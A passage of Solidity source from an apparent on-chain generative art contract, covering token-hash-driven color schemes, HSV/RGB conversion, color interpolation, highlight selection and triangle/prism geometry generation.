jiggle[2]; /// convert back to rgb int256[3] memory colRgb = hsv2rgb(colHsv[0], colHsv[1], colHsv[2]); cols[i][0] = colRgb[0]; cols[i][1] = colRgb[1]; cols[i][2] = colRgb[2]; } /// perform back shifting for (uint256 i = 0; i < 3; i++) { cols[i][0] -= subScheme.backShift[0]; cols[i][1] -= subScheme.backShift[1]; cols[i][2] -= subScheme.backShift[2]; } /// ensure that we're in 255 range for (uint256 i = 0; i < 6; i++) { cols[i][0] = ShackledMath.max(0, ShackledMath.min(255, cols[i][0])); cols[i][1] = ShackledMath.max(0, ShackledMath.min(255, cols[i][1])); cols[i][2] = ShackledMath.max(0, ShackledMath.min(255, cols[i][2])); } return cols; } /** @dev roll a schemeId given a list of weightings */ function getSchemeId(bytes32 tokenHash, int256[2][10] memory weightings) internal view returns (uint256) { int256 n = GeomUtils.randN( tokenHash, "schemedId", weightings[0][0], weightings[weightings.length - 1][1] ); for (uint256 i = 0; i < weightings.length; i++) { if (weightings[i][0] <= n && n <= weightings[i][1]) { return i; } } } /** @dev make a copy of a color */ function copyColor(int256[3] memory c) internal view returns (int256[3] memory) { return [c[0], c[1], c[2]]; } /** @dev get a color scheme */ function getScheme(bytes32 tokenHash, int256[3][3][] memory tris) external view returns (ColScheme memory colScheme) { /// 'randomly' select 1 of the 9 schemes uint256 schemeId = getSchemeId( tokenHash, [ [int256(0), 1500], [int256(1500), 2500], [int256(2500), 3000], [int256(3000), 3100], [int256(3100), 5500], [int256(5500), 6000], [int256(6000), 6500], [int256(6500), 8000], [int256(8000), 9500], [int256(9500), 10000] ] ); // int256 schemeId = GeomUtils.randN(tokenHash, "schemeID", 1, 9); /// define the color scheme to use for this piece /// all arrays are on the order of 1000 to remain accurate as integers /// will require division by 1000 later when in use if (schemeId == 0) { /// plain / beigey with a highlight, and a matching background colour colScheme = ColScheme({ name: "Accentuated", id: schemeId, pri: SubScheme({ colA: [int256(60), 30, 25], colB: [int256(205), 205, 205], isInnerGradient: false, dirCode: 0, jiggle: [int256(13), 13, 13], isJiggleInner: false, backShift: [int256(205), 205, 205] }), hlt: SubScheme({ colA: [int256(255), 0, 0], colB: [int256(255), 50, 0], isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "hltDir", 0, 3), /// get a 'random' dir code jiggle: [int256(50), 50, 50], isJiggleInner: false, backShift: [int256(205), 205, 205] }), hltNum: uint256(GeomUtils.randN(tokenHash, "hltNum", 3, 5)), /// get a 'random' number of highlights between 3 and 5 hltSelCode: 1, /// 'biggest' selection code hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(0), 0, 0], bgColBottom: [int256(1), 1, 1] }); } else if (schemeId == 1) { /// neutral overall colScheme = ColScheme({ name: "Emergent", id: schemeId, pri: SubScheme({ colA: [int256(0), 77, 255], colB: [int256(0), 255, 25], isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "priDir", 2, 3), /// get a 'random' dir code (2 or 3) jiggle: [int256(60), 60, 60], isJiggleInner: false, backShift: [int256(-255), -255, -255] }), hlt: SubScheme({ colA: [int256(0), 77, 255], colB: [int256(0), 255, 25], isInnerGradient: true, dirCode: 3, jiggle: [int256(60), 60, 60], isJiggleInner: false, backShift: [int256(-255), -255, -255] }), hltNum: uint256(GeomUtils.randN(tokenHash, "hltNum", 4, 6)), /// get a 'random' number of highlights between 4 and 6 hltSelCode: 2, /// smallest-first hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(255), 255, 255], bgColBottom: [int256(255), 255, 255] }); } else if (schemeId == 2) { /// vaporwave int256 maxHighlights = ShackledMath.max(0, int256(tris.length) - 8); int256 minHighlights = ShackledMath.max( 0, int256(maxHighlights) - 2 ); colScheme = ColScheme({ name: "Sunset", id: schemeId, pri: SubScheme({ colA: [int256(179), 0, 179], colB: [int256(0), 0, 255], isInnerGradient: false, dirCode: 2, /// up-down jiggle: [int256(25), 25, 25], isJiggleInner: true, backShift: [int256(127), 127, 127] }), hlt: SubScheme({ colA: [int256(0), 0, 0], colB: [int256(0), 0, 0], isInnerGradient: true, dirCode: 3, /// down-up jiggle: [int256(15), 0, 15], isJiggleInner: true, backShift: [int256(0), 0, 0] }), hltNum: uint256( GeomUtils.randN( tokenHash, "hltNum", minHighlights, maxHighlights ) ), /// get a 'random' number of highlights between minHighlights and maxHighlights hltSelCode: 2, /// smallest-first hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(250), 103, 247], bgColBottom: [int256(157), 104, 250] }); } else if (schemeId == 3) { /// gold int256 priDirCode = GeomUtils.randN(tokenHash, "pirDir", 0, 1); /// get a 'random' dir code (0 or 1) colScheme = ColScheme({ name: "Stone & Gold", id: schemeId, pri: SubScheme({ colA: [int256(50), 50, 50], colB: [int256(100), 100, 100], isInnerGradient: true, dirCode: priDirCode, jiggle: [int256(10), 10, 10], isJiggleInner: true, backShift: [int256(128), 128, 128] }), hlt: SubScheme({ colA: [int256(255), 197, 0], colB: [int256(255), 126, 0], isInnerGradient: true, dirCode: priDirCode, jiggle: [int256(0), 0, 0], isJiggleInner: false, backShift: [int256(64), 64, 64] }), hltNum: 1, hltSelCode: 1, /// biggest-first hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(0), 0, 0], bgColBottom: [int256(0), 0, 0] }); } else if (schemeId == 4) { /// random pastel colors (sometimes black) /// for primary colors, /// follow the pattern of making a new and unique seedHash for each variable /// so they are independant /// seed modifiers = pri/hlt + a/b + /r/g/b colScheme = ColScheme({ name: "Denatured", id: schemeId, pri: SubScheme({ colA: [ GeomUtils.randN(tokenHash, "PAR", 25, 255), GeomUtils.randN(tokenHash, "PAG", 25, 255), GeomUtils.randN(tokenHash, "PAB", 25, 255) ], colB: [ GeomUtils.randN(tokenHash, "PBR", 25, 255), GeomUtils.randN(tokenHash, "PBG", 25, 255), GeomUtils.randN(tokenHash, "PBB", 25, 255) ], isInnerGradient: false, dirCode: GeomUtils.randN(tokenHash, "pri", 0, 1), /// get a 'random' dir code (0 or 1) jiggle: [int256(0), 0, 0], isJiggleInner: false, backShift: [int256(127), 127, 127] }), hlt: SubScheme({ colA: [ GeomUtils.randN(tokenHash, "HAR", 25, 255), GeomUtils.randN(tokenHash, "HAG", 25, 255), GeomUtils.randN(tokenHash, "HAB", 25, 255) ], colB: [ GeomUtils.randN(tokenHash, "HBR", 25, 255), GeomUtils.randN(tokenHash, "HBG", 25, 255), GeomUtils.randN(tokenHash, "HBB", 25, 255) ], isInnerGradient: false, dirCode: GeomUtils.randN(tokenHash, "hlt", 0, 1), /// get a 'random' dir code (0 or 1) jiggle: [int256(0), 0, 0], isJiggleInner: false, backShift: [int256(127), 127, 127] }), hltNum: tris.length / 2, hltSelCode: 2, /// smallest-first hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(3), 3, 3], bgColBottom: [int256(0), 0, 0] }); } else if (schemeId == 5) { /// inter triangle random colors ('chameleonic') /// pri dir code is anything (0, 1, 2, 3) /// hlt dir code is oppose to pri dir code (rl <-> lr, up <-> du) int256 priDirCode = GeomUtils.randN(tokenHash, "pri", 0, 3); /// get a 'random' dir code (0 or 1) int256 hltDirCode; if (priDirCode == 0 || priDirCode == 1) { hltDirCode = priDirCode == 0 ? int256(1) : int256(0); } else { hltDirCode = priDirCode == 2 ? int256(3) : int256(2); } /// for primary colors, /// follow the pattern of making a new and unique seedHash for each variable /// so they are independant /// seed modifiers = pri/hlt + a/b + /r/g/b colScheme = ColScheme({ name: "Chameleonic", id: schemeId, pri: SubScheme({ colA: [ GeomUtils.randN(tokenHash, "PAR", 25, 255), GeomUtils.randN(tokenHash, "PAG", 25, 255), GeomUtils.randN(tokenHash, "PAB", 25, 255) ], colB: [ GeomUtils.randN(tokenHash, "PBR", 25, 255), GeomUtils.randN(tokenHash, "PBG", 25, 255), GeomUtils.randN(tokenHash, "PBB", 25, 255) ], isInnerGradient: true, dirCode: priDirCode, jiggle: [int256(25), 25, 25], isJiggleInner: true, backShift: [int256(0), 0, 0] }), hlt: SubScheme({ colA: [ GeomUtils.randN(tokenHash, "HAR", 25, 255), GeomUtils.randN(tokenHash, "HAG", 25, 255), GeomUtils.randN(tokenHash, "HAB", 25, 255) ], colB: [ GeomUtils.randN(tokenHash, "HBR", 25, 255), GeomUtils.randN(tokenHash, "HBG", 25, 255), GeomUtils.randN(tokenHash, "HBB", 25, 255) ], isInnerGradient: true, dirCode: hltDirCode, jiggle: [int256(255), 255, 255], isJiggleInner: true, backShift: [int256(205), 205, 205] }), hltNum: 12, hltSelCode: 2, /// smallest-first hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(3), 3, 3], bgColBottom: [int256(0), 0, 0] }); } else if (schemeId == 6) { /// each prism is a different colour with some randomisation /// pri dir code is anything (0, 1, 2, 3) /// hlt dir code is oppose to pri dir code (rl <-> lr, up <-> du) int256 priDirCode = GeomUtils.randN(tokenHash, "pri", 0, 1); /// get a 'random' dir code (0 or 1) int256 hltDirCode; if (priDirCode == 0 || priDirCode == 1) { hltDirCode = priDirCode == 0 ? int256(1) : int256(0); } else { hltDirCode = priDirCode == 2 ? int256(3) : int256(2); } /// for primary colors, /// follow the pattern of making a new and unique seedHash for each variable /// so they are independant /// seed modifiers = pri/hlt + a/b + /r/g/b colScheme = ColScheme({ name: "Gradiated", id: schemeId, pri: SubScheme({ colA: [ GeomUtils.randN(tokenHash, "PAR", 25, 255), GeomUtils.randN(tokenHash, "PAG", 25, 255), GeomUtils.randN(tokenHash, "PAB", 25, 255) ], colB: [ GeomUtils.randN(tokenHash, "PBR", 25, 255), GeomUtils.randN(tokenHash, "PBG", 25, 255), GeomUtils.randN(tokenHash, "PBB", 25, 255) ], isInnerGradient: false, dirCode: priDirCode, jiggle: [int256(127), 127, 127], isJiggleInner: false, backShift: [int256(205), 205, 205] }), hlt: SubScheme({ colA: [ GeomUtils.randN(tokenHash, "HAR", 25, 255), GeomUtils.randN(tokenHash, "HAG", 25, 255), GeomUtils.randN(tokenHash, "HAB", 25, 255) ], colB: [ GeomUtils.randN(tokenHash, "HBR", 25, 255), GeomUtils.randN(tokenHash, "HBG", 25, 255), GeomUtils.randN(tokenHash, "HBB", 25, 255) ], isInnerGradient: false, dirCode: hltDirCode, jiggle: [int256(127), 127, 127], isJiggleInner: false, backShift: [int256(205), 205, 205] }), hltNum: 12, /// get a 'random' number of highlights between 4 and 6 hltSelCode: 2, /// smallest-first hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(3), 3, 3], bgColBottom: [int256(0), 0, 0] }); } else if (schemeId == 7) { /// feature colour on white primary, with feature colour background /// calculate the feature color in hsv int256[3] memory hsv = [ GeomUtils.randN(tokenHash, "hsv", 0, 255), 230, 255 ]; int256[3] memory hltColA = hsv2rgb(hsv[0], hsv[1], hsv[2]); colScheme = ColScheme({ name: "Vivid Alabaster", id: schemeId, pri: SubScheme({ colA: [int256(255), 255, 255], colB: [int256(255), 255, 255], isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "pri", 0, 3), /// get a 'random' dir code (0 or 1) jiggle: [int256(25), 25, 25], isJiggleInner: true, backShift: [int256(127), 127, 127] }), hlt: SubScheme({ colA: hltColA, colB: copyColor(hltColA), /// same as A isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "pri", 0, 3), /// same as priDirCode jiggle: [int256(25), 50, 50], isJiggleInner: true, backShift: [int256(180), 180, 180] }), hltNum: tris.length % 2 == 1 ? (tris.length / 2) + 1 : tris.length / 2, hltSelCode: GeomUtils.randN(tokenHash, "hltSel", 0, 2), hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: hsv2rgb( ShackledMath.mod((hsv[0] - 9), 255), 105, 255 ), bgColBottom: hsv2rgb( ShackledMath.mod((hsv[0] + 9), 255), 105, 255 ) }); } else if (schemeId == 8) { /// feature colour on black primary, with feature colour background /// calculate the feature color in hsv int256[3] memory hsv = [ GeomUtils.randN(tokenHash, "hsv", 0, 255), 245, 190 ]; int256[3] memory hltColA = hsv2rgb(hsv[0], hsv[1], hsv[2]); colScheme = ColScheme({ name: "Vivid Ink", id: schemeId, pri: SubScheme({ colA: [int256(0), 0, 0], colB: [int256(0), 0, 0], isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "pri", 0, 3), /// get a 'random' dir code (0 or 1) jiggle: [int256(25), 25, 25], isJiggleInner: false, backShift: [int256(-60), -60, -60] }), hlt: SubScheme({ colA: hltColA, colB: copyColor(hltColA), /// same as A isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "pri", 0, 3), /// same as priDirCode jiggle: [int256(0), 0, 0], isJiggleInner: false, backShift: [int256(-60), -60, -60] }), hltNum: tris.length % 2 == 1 ? (tris.length / 2) + 1 : tris.length / 2, hltSelCode: GeomUtils.randN(tokenHash, "hltSel", 0, 2), hltVarCode: GeomUtils.randN(tokenHash, "hltVar", 0, 2), lightCol: [int256(255), 255, 255], bgColTop: hsv2rgb( ShackledMath.mod((hsv[0] - 9), 255), 105, 255 ), bgColBottom: hsv2rgb( ShackledMath.mod((hsv[0] + 9), 255), 105, 255 ) }); } else if (schemeId == 9) { colScheme = ColScheme({ name: "Pigmented", id: schemeId, pri: SubScheme({ colA: [int256(50), 30, 25], colB: [int256(205), 205, 205], isInnerGradient: false, dirCode: 0, jiggle: [int256(13), 13, 13], isJiggleInner: false, backShift: [int256(205), 205, 205] }), hlt: SubScheme({ colA: [int256(255), 0, 0], colB: [int256(255), 50, 0], isInnerGradient: true, dirCode: GeomUtils.randN(tokenHash, "hltDir", 0, 3), /// get a 'random' dir code jiggle: [int256(255), 50, 50], isJiggleInner: false, backShift: [int256(205), 205, 205] }), hltNum: tris.length / 3, hltSelCode: 1, /// 'biggest' selection code hltVarCode: 0, lightCol: [int256(255), 255, 255], bgColTop: [int256(0), 0, 0], bgColBottom: [int256(7), 7, 7] }); } else { revert("invalid scheme id"); } return colScheme; } /** @dev convert hsv to rgb color assume h, s and v and in range [0, 255] outputs rgb in range [0, 255] */ function hsv2rgb( int256 h, int256 s, int256 v ) internal view returns (int256[3] memory res) { /// ensure range 0, 255 h = ShackledMath.max(0, ShackledMath.min(255, h)); s = ShackledMath.max(0, ShackledMath.min(255, s)); v = ShackledMath.max(0, ShackledMath.min(255, v)); int256 h2 = (((h % 255) * 1e3) / 255) * 360; /// convert to degress int256 v2 = (v * 1e3) / 255; int256 s2 = (s * 1e3) / 255; /// calculate c, x and m while scaling all by 1e3 /// otherwise x will be too small and round to 0 int256 c = (v2 * s2) / 1e3; int256 x = (c * (1 * 1e3 - ShackledMath.abs(((h2 / 60) % (2 * 1e3)) - (1 * 1e3)))); x = x / 1e3; int256 m = v2 - c; if (0 <= h2 && h2 < 60000) { res = [c + m, x + m, m]; } else if (60000 <= h2 && h2 < 120000) { res = [x + m, c + m, m]; } else if (120000 < h2 && h2 < 180000) { res = [m, c + m, x + m]; } else if (180000 < h2 && h2 < 240000) { res = [m, x + m, c + m]; } else if (240000 < h2 && h2 < 300000) { res = [x + m, m, c + m]; } else if (300000 < h2 && h2 < 360000) { res = [c + m, m, x + m]; } else { res = [int256(0), 0, 0]; } /// scale into correct range return [ (res[0] * 255) / 1e3, (res[1] * 255) / 1e3, (res[2] * 255) / 1e3 ]; } /** @dev convert rgb to hsv expects rgb to be in range [0, 255] outputs hsv in range [0, 255] */ function rgb2hsv( int256 r, int256 g, int256 b ) internal view returns (int256[3] memory) { int256 r2 = (r * 1e3) / 255; int256 g2 = (g * 1e3) / 255; int256 b2 = (b * 1e3) / 255; int256 max = ShackledMath.max(ShackledMath.max(r2, g2), b2); int256 min = ShackledMath.min(ShackledMath.min(r2, g2), b2); int256 delta = max - min; /// calculate hue int256 h; if (delta != 0) { if (max == r2) { int256 _h = ((g2 - b2) * 1e3) / delta; h = 60 * ShackledMath.mod(_h, 6000); } else if (max == g2) { h = 60 * (((b2 - r2) * 1e3) / delta + (2000)); } else if (max == b2) { h = 60 * (((r2 - g2) * 1e3) / delta + (4000)); } } h = (h % (360 * 1e3)) / 360; /// calculate saturation int256 s; if (max != 0) { s = (delta * 1e3) / max; } /// calculate value int256 v = max; return [(h * 255) / 1e3, (s * 255) / 1e3, (v * 255) / 1e3]; } /** @dev get vector of three numbers that can be used to jiggle a color */ function getJiggle( int256[3] memory jiggle, bytes32 randomSeed, int256 seedModifier ) internal view returns (int256[3] memory) { return [ jiggle[0] + GeomUtils.randN( randomSeed, string(abi.encodePacked("0", seedModifier)), -jiggle[0], jiggle[0] ), jiggle[1] + GeomUtils.randN( randomSeed, string(abi.encodePacked("1", seedModifier)), -jiggle[1], jiggle[1] ), jiggle[2] + GeomUtils.randN( randomSeed, string(abi.encodePacked("2", seedModifier)), -jiggle[2], jiggle[2] ) ]; } /** @dev check if a uint is in an array */ function inArray(uint256[] memory array, uint256 value) external view returns (bool) { for (uint256 i = 0; i < array.length; i++) { if (array[i] == value) { return true; } } return false; } /** @dev a helper function to apply the direction code in interpolation */ function applyDirHelp( int256[3][3] memory triFront, int256[3] memory colA, int256[3] memory colB, int256 dirCode, bool isInnerGradient, int256[3][2] memory extents ) internal view returns (int256[3][3] memory triCols) { uint256[3] memory order; if (isInnerGradient) { /// perform the simple 3 sort - always color by the front order = getOrderedPointIdxsInDir(triFront, dirCode); } else { /// order irrelevant in other case order = [uint256(0), 1, 2]; } /// axis is 0 (horizontal) if dir code is left-right or right-left /// 1 (vertical) otherwise uint256 axis = (dirCode == 0 || dirCode == 1) ? 0 : 1; int256 length; if (axis == 0) { length = extents[1][0] - extents[0][0]; } else { length = extents[1][1] - extents[0][1]; } /// if we're interpolating across the triangle (inner) /// then do so by calculating the color at each point in the triangle for (uint256 i = 0; i < 3; i++) { triCols[order[i]] = interpColHelp( colA, colB, (isInnerGradient) ? triFront[order[0]][axis] : int256(-length / 2), (isInnerGradient) ? triFront[order[2]][axis] : int256(length / 2), triFront[order[i]][axis] ); } } /** @dev a helper function to order points by index in a desired direction */ function getOrderedPointIdxsInDir(int256[3][3] memory tri, int256 dirCode) internal view returns (uint256[3] memory) { // flip if dir is left-right or down-up bool flip = (dirCode == 1 || dirCode == 3) ? true : false; // axis is 0 if horizontal (left-right or right-left), 1 otherwise (vertical) uint256 axis = (dirCode == 0 || dirCode == 1) ? 0 : 1; /// get the values of each point in the tri (flipped as required) int256 f = (flip) ? int256(-1) : int256(1); int256 a = f * tri[0][axis]; int256 b = f * tri[1][axis]; int256 c = f * tri[2][axis]; /// get the ordered indices uint256[3] memory ixOrd = [uint256(0), 1, 2]; /// simplest way to sort 3 numbers if (a > b) { (a, b) = (b, a); (ixOrd[0], ixOrd[1]) = (ixOrd[1], ixOrd[0]); } if (a > c) { (a, c) = (c, a); (ixOrd[0], ixOrd[2]) = (ixOrd[2], ixOrd[0]); } if (b > c) { (b, c) = (c, b); (ixOrd[1], ixOrd[2]) = (ixOrd[2], ixOrd[1]); } return ixOrd; } /** @dev a helper function for linear interpolation betweet two colors*/ function interpColHelp( int256[3] memory colA, int256[3] memory colB, int256 low, int256 high, int256 val ) internal view returns (int256[3] memory result) { int256 ir; int256 lerpScaleFactor = 1e3; if (high - low == 0) { ir = 1; } else { ir = ((val - low) * lerpScaleFactor) / (high - low); } for (uint256 i = 0; i < 3; i++) { /// dont allow interpolation to go below 0 result[i] = ShackledMath.max( 0, colA[i] + ((colB[i] - colA[i]) * ir) / lerpScaleFactor ); } } /** @dev get indexes of the prisms to use highlight coloring*/ function getHighlightPrismIdxs( int256[3][3][] memory tris, bytes32 tokenHash, uint256 nHighlights, int256 varCode, int256 selCode ) internal view returns (uint256[] memory idxs) { nHighlights = nHighlights < tris.length ? nHighlights : tris.length; ///if we just want random triangles then there's no need to sort if (selCode == 0) { idxs = ShackledMath.randomIdx( tokenHash, uint256(nHighlights), tris.length - 1 ); } else { idxs = getSortedTrisIdxs(tris, nHighlights, varCode, selCode); } } /** @dev return the index of the tris sorted by sel code @param selCode will be 1 (biggest first) or 2 (smallest first) */ function getSortedTrisIdxs( int256[3][3][] memory tris, uint256 nHighlights, int256 varCode, int256 selCode ) internal view returns (uint256[] memory) { // determine the sort order int256 orderFactor = (selCode == 2) ? int256(1) : int256(-1); /// get the list of triangle sizes int256[] memory sizes = new int256[](tris.length); for (uint256 i = 0; i < tris.length; i++) { if (varCode == 0) { // use size sizes[i] = GeomUtils.getRadiusLen(tris[i]) * orderFactor; } else if (varCode == 1) { // use x sizes[i] = GeomUtils.getCenterVec(tris[i])[0] * orderFactor; } else if (varCode == 2) { // use y sizes[i] = GeomUtils.getCenterVec(tris[i])[1] * orderFactor; } } /// initialise the index array uint256[] memory idxs = new uint256[](tris.length); for (uint256 i = 0; i < tris.length; i++) { idxs[i] = i; } /// run a boilerplate insertion sort over the index array for (uint256 i = 1; i < tris.length; i++) { int256 key = sizes[i]; uint256 j = i - 1; while (j > 0 && key < sizes[j]) { sizes[j + 1] = sizes[j]; idxs[j + 1] = idxs[j]; j--; } sizes[j + 1] = key; idxs[j + 1] = i; } uint256 nToCull = tris.length - nHighlights; assembly { mstore(idxs, sub(mload(idxs), nToCull)) } return idxs; } } /** Hold some functions externally to reduce contract size for mainnet deployment */ library GeomUtils { /// misc constants int256 constant MIN_INT = type(int256).min; int256 constant MAX_INT = type(int256).max; /// constants for doing trig int256 constant PI = 3141592653589793238; // pi as an 18 decimal value (wad) /// parameters that control geometry creation struct GeomSpec { string name; int256 id; int256 forceInitialSize; uint256 maxPrisms; int256 minTriRad; int256 maxTriRad; bool varySize; int256 depthMultiplier; bool isSymmetricX; bool isSymmetricY; int256 probVertOpp; int256 probAdjRec; int256 probVertOppRec; } /// variables uses when creating the initial 2d triangles struct TriVars { uint256 nextTriIdx; int256[3][3][] tris; int256[3][3] tri; int256 zBackRef; int256 zFrontRef; int256[] zFronts; int256[] zBacks; bool recursiveAttempt; } /// variables used when creating 3d prisms struct GeomVars { int256 rotX; int256 rotY; int256 rotZ; int256[3][2] extents; int256[3] center; int256 width; int256 height; int256 extent; int256 scaleNum; uint256[] hltPrismIdx; int256[3][3][] trisBack; int256[3][3][] trisFront; uint256 nPrisms; } /** @dev generate parameters that will control how the geometry is built */ function generateSpec(bytes32 tokenHash) external view returns (GeomSpec memory spec) { // 'randomly' select 1 of possible geometry specifications uint256 specId = getSpecId( tokenHash, [ [int256(0), 1000], [int256(1000), 3000], [int256(3000), 3500], [int256(3500), 4500], [int256(4500), 5000], [int256(5000), 6000], [int256(6000), 8000] ] ); bool isSymmetricX = GeomUtils.randN(tokenHash, "symmX", 0, 2) > 0; bool isSymmetricY = GeomUtils.randN(tokenHash, "symmY", 0, 2) > 0; int256 defaultDepthMultiplier = randN(tokenHash, "depthMult", 80, 120); int256 defaultMinTriRad = 4800; int256 defaultMaxTriRad = defaultMinTriRad * 3; uint256 defaultMaxPrisms = uint256( randN(tokenHash, "maxPrisms", 8, 16) ); if (specId == 0) { /// all vertically opposite spec = GeomSpec({ id: 0, name: "Verticalized", forceInitialSize: (defaultMinTriRad * 5) / 2, maxPrisms: defaultMaxPrisms, minTriRad: defaultMinTriRad, maxTriRad: defaultMaxTriRad, varySize: true, depthMultiplier: defaultDepthMultiplier, probVertOpp: 100, probVertOppRec: 100, probAdjRec: 0, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else if (specId == 1) { /// fully adjacent spec = GeomSpec({ id: 1, name: "Adjoint", forceInitialSize: (defaultMinTriRad * 5) / 2, maxPrisms: defaultMaxPrisms, minTriRad: defaultMinTriRad, maxTriRad: defaultMaxTriRad, varySize: true, depthMultiplier: defaultDepthMultiplier, probVertOpp: 0, probVertOppRec: 0, probAdjRec: 100, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else if (specId == 2) { /// few but big spec = GeomSpec({ id: 2, name: "Cetacean", forceInitialSize: 0, maxPrisms: 8, minTriRad: defaultMinTriRad * 3, maxTriRad: defaultMinTriRad * 4, varySize: true, depthMultiplier: defaultDepthMultiplier, probVertOpp: 50, probVertOppRec: 50, probAdjRec: 50, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else if (specId == 3) { /// lots but small spec = GeomSpec({ id: 3, name: "Swarm", forceInitialSize: 0, maxPrisms: 16, minTriRad: defaultMinTriRad, maxTriRad: defaultMinTriRad * 2, varySize: true, depthMultiplier: defaultDepthMultiplier, probVertOpp: 50, probVertOppRec: 0, probAdjRec: 0, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else if (specId == 4) { /// all same size spec = GeomSpec({ id: 4, name: "Isomorphic", forceInitialSize: 0, maxPrisms: defaultMaxPrisms, minTriRad: defaultMinTriRad, maxTriRad: defaultMaxTriRad, varySize: false, depthMultiplier: defaultDepthMultiplier, probVertOpp: 50, probVertOppRec: 50, probAdjRec: 50, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else if (specId == 5) { /// trains spec = GeomSpec({ id: 5, name: "Extruded", forceInitialSize: 0, maxPrisms: 10, minTriRad: defaultMinTriRad, maxTriRad: defaultMaxTriRad, varySize: true, depthMultiplier: defaultDepthMultiplier, probVertOpp: 50, probVertOppRec: 50, probAdjRec: 50, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else if (specId == 6) { /// flatpack spec = GeomSpec({ id: 6, name: "Uniform", forceInitialSize: 0, maxPrisms: 12, minTriRad: defaultMinTriRad, maxTriRad: defaultMaxTriRad, varySize: true, depthMultiplier: defaultDepthMultiplier, probVertOpp: 50, probVertOppRec: 50, probAdjRec: 50, isSymmetricX: isSymmetricX, isSymmetricY: isSymmetricY }); } else { revert("invalid specId"); } } /** @dev make triangles to the side of a reference triangle */ function makeAdjacentTriangles( bytes32 tokenHash, uint256 attemptNum, uint256 refIdx, TriVars memory triVars, GeomSpec memory geomSpec, int256 overrideSideIdx, int256 overrideScale, int256 depth ) public view returns (TriVars memory) { /// get the side index (0, 1 or 2) int256 sideIdx; if (overrideSideIdx == -1) { sideIdx = randN( tokenHash, string(abi.encodePacked("sideIdx", attemptNum, depth)), 0, 2 ); } else { sideIdx = overrideSideIdx; } /// get the scale /// this value is scaled up by 1e3 (desired range is 0.333 to 0.8) /// the scale will be divided out when used int256 scale; if (geomSpec.varySize) { if (overrideScale == -1) { scale = randN( tokenHash, string(abi.encodePacked("scaleAdj", attemptNum, depth)), 333, 800 ); } else { scale = overrideScale; } } else { scale = 1e3; } /// make a new triangle int256[3][3] memory newTri = makeTriAdjacent( tokenHash, geomSpec, attemptNum, triVars.tris[refIdx], sideIdx, scale, depth ); /// set the zbackref and frontbackref triVars.zBackRef = -1; /// calculate a new z back triVars.zFrontRef = -1; /// calculate a new z ftont // try to add the triangle, and use the reference z height triVars.recursiveAttempt = false; bool wasAdded = attemptToAddTri(newTri, tokenHash, triVars, geomSpec); if (wasAdded) { // run again if ( randN( tokenHash, string( abi.encodePacked("addAdjRecursive", attemptNum, depth) ), 0, 100 ) <= geomSpec.probAdjRec ) { triVars = makeAdjacentTriangles( tokenHash, attemptNum, triVars.nextTriIdx - 1, triVars, geomSpec, sideIdx, 666, /// always make the next one 2/3 scale depth + 1 ); } } return triVars; } /** @dev make triangles vertically opposite a reference triangle */ function makeVerticallyOppositeTriangles( bytes32 tokenHash, uint256 attemptNum, uint256 refIdx, TriVars memory triVars, GeomSpec memory geomSpec, int256 overrideSideIdx, int256 overrideScale, int256 depth ) public view returns (TriVars memory) { /// get the side index (0, 1 or 2) int256 sideIdx; if (overrideSideIdx == -1) { sideIdx = randN( tokenHash, string(abi.encodePacked("vertOppSideIdx", attemptNum, depth)), 0, 2 ); } else { sideIdx = overrideSideIdx; } /// get the scale /// this value is scaled up by 1e3 /// use attemptNum in seedModifier to ensure unique values each attempt int256 scale; if (geomSpec.varySize) { if (overrideScale == -1) { if ( // prettier-ignore randN( tokenHash, string(abi.encodePacked("vertOppScale1", attemptNum, depth)), 0, 100 ) > 33 ) { // prettier-ignore if ( randN( tokenHash, string(abi.encodePacked("vertOppScale2", attemptNum, depth) ), 0, 100 ) > 50 ) { scale = 1000; /// desired = 1 (same scale) } else { scale = 500; /// desired = 0.5 (half scale) } } else { scale = 2000; /// desired = 2 (double scale) } } else { scale = overrideScale; } } else { scale = 1e3; } /// make a new triangle int256[3][3] memory newTri = makeTriVertOpp( triVars.tris[refIdx], geomSpec, sideIdx, scale ); /// set the zbackref and frontbackref triVars.zBackRef = -1; /// calculate a new z back triVars.zFrontRef = triVars.zFronts[refIdx]; // try to add the triangle, and use the reference z height triVars.recursiveAttempt = false; bool wasAdded = attemptToAddTri(newTri, tokenHash, triVars, geomSpec); if (wasAdded) { /// run again if ( randN( tokenHash, string( abi.encodePacked("recursiveVertOpp", attemptNum, depth) ), 0, 100 ) <= geomSpec.probVertOppRec ) { triVars = makeVerticallyOppositeTriangles( tokenHash, attemptNum, refIdx, triVars, geomSpec, sideIdx, 666, /// always make the next one 2/3 scale depth + 1 ); } } return triVars; } /** @dev place a triangle vertically opposite over the given point @param refTri the reference triangle to base the new triangle on */ function makeTriVertOpp( int256[3][3] memory refTri, GeomSpec memory geomSpec, int256 sideIdx, int256 scale ) internal view returns (int256[3][3] memory) { /// calculate the center of the reference triangle /// add and then divide by 1e3 (the factor by which scale is scaled up) int256 centerDist = (getRadiusLen(refTri) * (1e3 + scale)) / 1e3; /// get the new triangle's direction int256 newAngle = sideIdx * 120 + 60 + (isTriPointingUp(refTri) ? int256(60) : int256(0)); int256 spacing = 64; /// calculate the true offset int256[3] memory offset = vector3RotateZ( [int256(0), centerDist + spacing, 0], newAngle ); int256[3] memory centerVec = getCenterVec(refTri); int256[3] memory newCentre = ShackledMath.vector3Add(centerVec, offset); /// return the new triangle (div by 1e3 to 